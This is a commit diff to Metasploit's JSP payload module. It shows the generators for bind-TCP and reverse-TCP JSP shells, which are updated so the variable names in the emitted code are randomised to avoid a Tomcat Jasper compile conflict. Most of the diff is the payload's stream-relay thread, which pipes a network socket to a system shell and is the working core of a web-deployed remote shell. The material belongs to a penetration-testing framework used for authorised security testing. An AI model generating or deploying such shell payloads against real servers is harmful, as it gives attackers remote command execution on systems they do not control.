Skip to content

Commit 7ba705f

Browse files
committed
Add some randomized variables to JSP Payloads
Because the JASPER engine with Tomcat has been found complaining about the out variable.
1 parent 468b4a3 commit 7ba705f

File tree

1 file changed

+58
-32
lines changed

1 file changed

+58
-32
lines changed

lib/msf/core/payload/jsp.rb

Lines changed: 58 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,19 @@ def initialize(info = {})
2222
# @return [String] jsp code that executes bind TCP payload
2323
def jsp_bind_tcp
2424
# Modified from: http://www.security.org.sg/code/jspreverse.html
25+
26+
var_is = Rex::Text.rand_text_alpha_lower(2)
27+
var_os = Rex::Text.rand_text_alpha_lower(2)
28+
var_in = Rex::Text.rand_text_alpha_lower(2)
29+
var_out = Rex::Text.rand_text_alpha_lower(3)
30+
31+
# The 'out' name variable can cause conflicts
32+
# when compiling the JSP under Tomcat with the
33+
# JASPER engine
34+
while var_out == 'out'
35+
var_out = Rex::Text.rand_text_alpha_lower(3)
36+
end
37+
2538
jsp = <<-EOS
2639
<%@page import="java.lang.*"%>
2740
<%@page import="java.util.*"%>
@@ -31,37 +44,37 @@ def jsp_bind_tcp
3144
<%
3245
class StreamConnector extends Thread
3346
{
34-
InputStream is;
35-
OutputStream os;
47+
InputStream #{var_is};
48+
OutputStream #{var_os};
3649
37-
StreamConnector( InputStream is, OutputStream os )
50+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
3851
{
39-
this.is = is;
40-
this.os = os;
52+
this.#{var_is} = #{var_is};
53+
this.#{var_os} = #{var_os};
4154
}
4255
4356
public void run()
4457
{
45-
BufferedReader in = null;
46-
BufferedWriter out = null;
58+
BufferedReader #{var_in} = null;
59+
BufferedWriter #{var_out} = null;
4760
try
4861
{
49-
in = new BufferedReader( new InputStreamReader( this.is ) );
50-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
62+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
63+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
5164
char buffer[] = new char[8192];
5265
int length;
53-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
66+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
5467
{
55-
out.write( buffer, 0, length );
56-
out.flush();
68+
#{var_out}.write( buffer, 0, length );
69+
#{var_out}.flush();
5770
}
5871
} catch( Exception e ){}
5972
try
6073
{
61-
if( in != null )
62-
in.close();
63-
if( out != null )
64-
out.close();
74+
if( #{var_in} != null )
75+
#{var_in}.close();
76+
if( #{var_out} != null )
77+
#{var_out}.close();
6578
} catch( Exception e ){}
6679
}
6780
}
@@ -87,6 +100,19 @@ class StreamConnector extends Thread
87100
# @return [String] jsp code that executes reverse TCP payload
88101
def jsp_reverse_tcp
89102
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
103+
104+
var_is = Rex::Text.rand_text_alpha_lower(2)
105+
var_os = Rex::Text.rand_text_alpha_lower(2)
106+
var_in = Rex::Text.rand_text_alpha_lower(2)
107+
var_out = Rex::Text.rand_text_alpha_lower(3)
108+
109+
# The 'out' name variable can cause conflicts
110+
# when compiling the JSP under Tomcat with the
111+
# JASPER engine
112+
while var_out == 'out'
113+
var_out = Rex::Text.rand_text_alpha_lower(3)
114+
end
115+
90116
jsp = <<-EOS
91117
<%@page import="java.lang.*"%>
92118
<%@page import="java.util.*"%>
@@ -96,37 +122,37 @@ def jsp_reverse_tcp
96122
<%
97123
class StreamConnector extends Thread
98124
{
99-
InputStream is;
100-
OutputStream os;
125+
InputStream #{var_is};
126+
OutputStream #{var_os};
101127
102-
StreamConnector( InputStream is, OutputStream os )
128+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
103129
{
104-
this.is = is;
105-
this.os = os;
130+
this.#{var_is} = #{var_is};
131+
this.#{var_os} = #{var_os};
106132
}
107133
108134
public void run()
109135
{
110-
BufferedReader in = null;
111-
BufferedWriter out = null;
136+
BufferedReader #{var_in} = null;
137+
BufferedWriter #{var_out} = null;
112138
try
113139
{
114-
in = new BufferedReader( new InputStreamReader( this.is ) );
115-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
140+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
141+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
116142
char buffer[] = new char[8192];
117143
int length;
118-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
144+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
119145
{
120-
out.write( buffer, 0, length );
121-
out.flush();
146+
#{var_out}.write( buffer, 0, length );
147+
#{var_out}.flush();
122148
}
123149
} catch( Exception e ){}
124150
try
125151
{
126-
if( in != null )
127-
in.close();
128-
if( out != null )
129-
out.close();
152+
if( #{var_in} != null )
153+
#{var_in}.close();
154+
if( #{var_out} != null )
155+
#{var_out}.close();
130156
} catch( Exception e ){}
131157
}
132158
}

0 commit comments

Comments
 (0)